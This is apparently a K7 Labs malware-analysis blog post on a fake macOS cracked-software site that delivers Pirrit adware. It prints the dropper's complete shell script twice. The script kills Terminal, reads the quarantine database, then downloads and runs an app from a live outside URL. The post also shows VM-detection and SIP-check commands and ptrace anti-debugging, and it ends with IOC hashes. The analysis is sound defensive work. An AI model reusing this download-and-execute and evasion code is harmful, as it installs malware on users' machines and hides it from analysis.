Recently, researchers at K7 Labs found a website that was ostensibly providing cracked software for macOS. The website appears well done and claims to provide safe, fast and free software. But in reality people were unintentionally downloading the Pirrit adware. The name of the site was crack(-)mac(.)com.

Pirrit is a macOS adware that was first discovered in 2016 and actively distributed ever since. It can affect users by redirecting to malicious websites, can collect user data, produce annoying ads etc.

Figure 1 – crack(-)mac(.)com

The software list mentioned in the site includes Adobe photoshop, Lightroom, Waves, Autocad, Final Cut Pro among others. 

Figure 2 – Software available for download

As seen in the image above, the User is provided with two download sources for each software. When the “Download #1” button is clicked, it displays a page claiming the application to be safe and displays some fake md5 ( technically it’s not an md5 ). Then it asks the user to download and install the OperaGX browser to download the application (i.e Adobe Acrobat Pro in this case). And if we proceed to download and install the OperaGX browser through the provided link in the page, only the OperaGx is installed and the original intended software is nowhere to be seen. If we click the “Download #1” option again, the site would still show the same page asking to install the OperaGX. This is the case for the Download#1 option for all the softwares listed in the site.

Figure 3 – Download #1 option asking user to download OperaGX in order to get the desired software

If we explore the Download#2, it redirects to Vexfile(.)com (which is a file hosting website) site. 

Figure 4 – Download #2 option leads to Vexfile(.)com

It can be found out that the Vexfile site is known to host many malicious files which has also been confirmed by VT Relations.

Figure 5 – Files that were downloaded from Vexfile(.)com

If we download the file, it is 140 KB in size with the dmg extension. The dmg file consists of a binary named Install Flash Player and an image tells the user to allow the binary to run when it is stopped by Gatekeeper.

Figure 6 – Dmg contents

The Install Flash Player is a x86 mach-O binary and it is not signed.

Figure 7 – File info

When it is executed, it executes the following shell command and downloads an application.

temp_dir(){ if [ -n "${TMPDIR}" ];then echo "${TMPDIR}";else getconf DARWIN_USER_TEMP_DIR;fi;};did_dg(){ for volume in "/Volumes/"*;do did_path="${volume}/.did";[ -f "${did_path}" ]||continue;did="$(cat "${did_path}")";[ -z "${did}" ]&&continue;echo "${did}";return;done;return 1;};where_from_url(){ /usr/bin/sqlite3 "${HOME}/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2" "SELECT LSQuarantineDataURLString FROM LSQuarantineEvent ORDER BY LSQuarantineTimeStamp DESC LIMIT 1" 2>/dev/null;};did_qe(){ url="$(where_from_url)";query="${url#*\?}";did_find=0;for param in ${query//[=&]/ };do if [ "${did_find}" = 1 ];then echo "${param}";return;fi;[ "${param}" = "utm_source" ]||[ "${param}" = "sidw" ]||[ "${param}" = "neo" ]&&did_find=1;done;return 1;};download(){ local -r url="${1}";local -r tmp_dir="${2}";local -r path="${tmp_dir}/$(uuidgen)";if output="$(curl -kLSs -m "30" -o "${path}" "${url}" 2>&1)";then echo "${path}";else return 1;fi;};unarchive(){ local -r arc_path="${1}";local -r dst_dir="$(/usr/bin/dirname "${arc_path}")";/usr/bin/tar -xz -f "${arc_path}" -C "${dst_dir}">/dev/null 2>&1&&echo "${dst_dir}";};app_path(){ local -r app_dir="${1}";local -r app_paths=("${app_dir}"/?*.app);local -r app_path="${app_paths[0]}";[ -d "${app_path}" ]&&echo "${app_path}";};bin_path(){ local -r app_path="${1}";local -r binary_paths=("${app_path}/Contents/MacOS"/?*);local -r binary_path="${binary_paths[0]}";[ -f "${binary_path}" ]&&echo "${binary_path}";};exec_bin(){ bin_path="${1}";did="${2}";"${bin_path}" -did "${did}";};WORK_DIR="$(mktemp -dt "tmp")"||exit;cleanup(){ rm -rf "${WORK_DIR}">/dev/null 2>&1;exit;};main(){ url="${1}";(pkill -9 Terminal&);did="$(did_qe)"||did="$(did_dg)";if [ -z "${did}" ];then pv="$(/usr/bin/sw_vers -productVersion)"||cleanup;tv="12.4";[[ "${pv}"<"${tv}" ]]&&cleanup;fi;arc_path="$(download "${url}" "${WORK_DIR}")"||cleanup;app_dir="$(unarchive "${arc_path}")"||cleanup;app_path="$(app_path "${app_dir}")"||cleanup;bin_path="$(bin_path "${app_path}")"||cleanup;exec_bin "${bin_path}" "${did}";cleanup;};main "https://cdn.dinellas.cfd/static/i2/Installer.app.zip"

Rearranging the shell script will give a better readability, thus better understanding of the script(ChatGpt output).

#!/bin/bash

temp_dir() {
if [ -n "${TMPDIR}" ]; then
echo "${TMPDIR}"
else
getconf DARWIN_USER_TEMP_DIR
fi
}

did_dg() {
for volume in "/Volumes/"; do
did_path="${volume}/.did"
[ -f "${did_path}" ] || continue
did="$(cat "${did_path}")"
[ -z "${did}" ] && continue
echo "${did}"
return
done
return 1
}

where_from_url() {
/usr/bin/sqlite3 "${HOME}/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2" \
"SELECT LSQuarantineDataURLString FROM LSQuarantineEvent ORDER BY LSQuarantineTimeStamp DESC LIMIT 1" 2>/dev/null
}

did_qe() {
url="$(where_from_url)"
query="${url#\?}"
did_find=0
for param in ${query//[=&]/ }; do
if [ "${did_find}" = 1 ]; then
echo "${param}"
return
fi
[ "${param}" = "utm_source" ] || [ "${param}" = "sidw" ] || [ "${param}" = "neo" ] && did_find=1
done
return 1
}

download() {
local -r url="${1}"
local -r tmp_dir="${2}"
local -r path="${tmp_dir}/$(uuidgen)"
if output="$(curl -kLSs -m "30" -o "${path}" "${url}" 2>&1)"; then
echo "${path}"
else
return 1
fi
}

unarchive() {
local -r arc_path="${1}"
local -r dst_dir="$(/usr/bin/dirname "${arc_path}")"
/usr/bin/tar -xz -f "${arc_path}" -C "${dst_dir}" >/dev/null 2>&1 && echo "${dst_dir}"
}

app_path() {
local -r app_dir="${1}"
local -r app_paths=("${app_dir}"/?.app)
local -r app_path="${app_paths[0]}"
[ -d "${app_path}" ] && echo "${app_path}"
}

bin_path() {
local -r app_path="${1}"
local -r binary_paths=("${app_path}/Contents/MacOS"/?)
local -r binary_path="${binary_paths[0]}"
[ -f "${binary_path}" ] && echo "${binary_path}"
}

exec_bin() {
bin_path="${1}"
did="${2}"
"${bin_path}" -did "${did}"
}

WORK_DIR="$(mktemp -dt "tmp")" || exit

cleanup() {
rm -rf "${WORK_DIR}" >/dev/null 2>&1
exit
}

main() {
url="${1}"
(pkill -9 Terminal &) # Terminate Terminal to hide execution
did="$(did_qe)" || did="$(did_dg)"
if [ -z "${did}" ]; then
pv="$(/usr/bin/sw_vers -productVersion)" || cleanup
tv="12.4"
[[ "${pv}" < "${tv}" ]] && cleanup
fi
arc_path="$(download "${url}" "${WORK_DIR}")" || cleanup
app_dir="$(unarchive "${arc_path}")" || cleanup
app_path="$(app_path "${app_dir}")" || cleanup
bin_path="$(bin_path "${app_path}")" || cleanup
exec_bin "${bin_path}" "${did}"
cleanup
}

main "https://cdn.dinellas.cfd/static/i2/Installer.app.zip"

Long story short, it kills all the instances of terminal first, then retrieves the recent url from the quarantine database and checks for one of the 3 parameters mentioned in the script. If it is found, it downloads a zip file from the url mentioned in the script, unarchives and executes it and then deletes itself and the downloaded file.

The extracted file is an application named ‘Installer’ which contains another application inside of it (also named as Installer) along with a ‘Install Flash Player’ mach-O file which has the same md5 as the previous one downloaded from the crack-mac(.)com.

Figure 8 – Contents inside Installer application

The Installer application contains a x86_64 mach-O binary and info.plist. It doesn’t have any signature. It runs on macOS version 10.10 and above. It has the bundler name as com.Installer.

Figure 9 – Installer’s info.plist 

When executed by the Install Flash Player binary, it checks the OS whether SIP(System Integrity Protection) is enabled using CSRUTIL command.

csrutil > /dev/null && csrutil status | grep -v \"enabled\" > /dev/null && echo 1 || echo 0

Then it tries to detect whether the machine it is running on is a VM or not by checking VM software names like VMware, Virtualbox, Parallels and model name, RAM size etc. The VM check is pretty similar to Patrick Wardle’s research on GoSearch22. But it didn’t create a launch agent.

{
    "event": "ES_EVENT_TYPE_NOTIFY_EXEC",
    "timestamp": "2023-08-18 06:27:37 +0000",
    "process": {
        "pid": 988,
        "name": "sh",
        "path": "/bin/sh",
        "uid": 501,
        "architecture": "unknown",
        "arguments": [
            "/bin/sh",
            "-c",
            "readonly VM_LIST=\"VirtualBox\\|Oracle\\|VMware\\|Parallels\\|qemu\"; is_hwmodel_vm() { ! sysctl -n hw.model | grep \"Mac\" > /dev/null; }; is_ram_vm() { (($(($(sysctl -n hw.memsize) / 1073741824)) < 4)); }; is_ped_vm() { local -r ped=$(ioreg -rd1 -c IOPlatformExpertDevice); echo \"${ped}\" | grep -e \"board-id\" -e \"product-name\" -e \"model\" | grep -qi \"${VM_LIST}\" || echo \"${ped}\" | grep \"manufacturer\" | grep -v \"Apple\" > /dev/null; }; is_vendor_name_vm() { ioreg -l | grep -e \"Manufacturer\" -e \"Vendor Name\" | grep -qi \"${VM_LIST}\"; }; is_hw_data_vm() { system_profiler SPHardwareDataType 2>&1 /dev/null | grep -e \"Model Identifier\" | grep -qi \"${VM_LIST}\"; }; is_vm() { is_hwmodel_vm || is_ram_vm || is_ped_vm || is_vendor_name_vm || is_hw_data_vm; }; main() { is_vm && echo 1 || echo 0; }; main \"${@}\""
        ]
  }
}  

It also has code for anti-analysis. It is done through calling ptrace with the flag PT_DENY_ATTACH.

Figure 10 – PT_DENY_ATTACH

On debugding via lldb it iexits with status = 45 which is the value of ENOTSUP which is mentioned in the manual for PT_DENY_ATTACH.

Figure 11 – LLDB showing process exit with status 45

To find out where in the code the ptrace is getting invoked in the code refer here.

Usually the syscall number for ptrace is 26(0x1A) but here the syscall number used is 0x200001A which is according to the syscall_sw.h.

Figure 12 – Ptrace getting called through syscall number 0x200001A 

The similarities in VM check and invoking anti-debugging ways are indicating that it might belong to Pirrit adware. The VT detections are also mentioning this.

Figure 13 – VT detection names are mostly Pirrit

In our analysis we couldn’t get the next stage payload. You can also refer to this blog which explains another infection chain of this Pirrit adware.

Windows Variant

The payload is an .exe file when the crack(-)mac(.)com site is visited from a windows machine. It is a setup wizard that downloads Kodi Player setup. 

Figure 14 – Kodi Player setup download

In the process of installation, the setup pops up options to download other applications like Supernova, Avast AV, Opera and CC Cleaner, among others. 

Figure 15 – Applications shown during Kodi player download wizard

Threat actors targeting macOS users are increasing everyday. So, as a user, one needs to be cautious when downloading files from pirated websites as well as executing unknown executables. Users are requested to use a reputable security product such as “K7 Antivirus for Mac” and to keep it updated so as to stay safe from such threats.

IOCs 

HashFile NameDetection Name
0C42838DA01CCC34E08FE7300D8913B9Adobe_Acrobat_2023_Setup.zip.dmgAdware ( 0040f11c1 )
F74F2F61E9924A139E04248A6C6A190EInstall Flash PlayerAdware ( 0040f11c1 )
14476491676E580BE9D10EBC8CBE7B87Installer.app.zipAdware ( 0040f1271 )
D3D9849A39F6185CFF5BCBE2A35F7AF0InstallerAdware ( 0040f1271 )
309400934CB15561997C0C20CDFE8697AdobeAcrobat.exeTrojan ( 005a6af81 )

Like what you're reading? Subscribe to our top stories.

If you want to subscribe to our monthly newsletter, please submit the form below.

    0 replies on “macOS Pirrit Adware”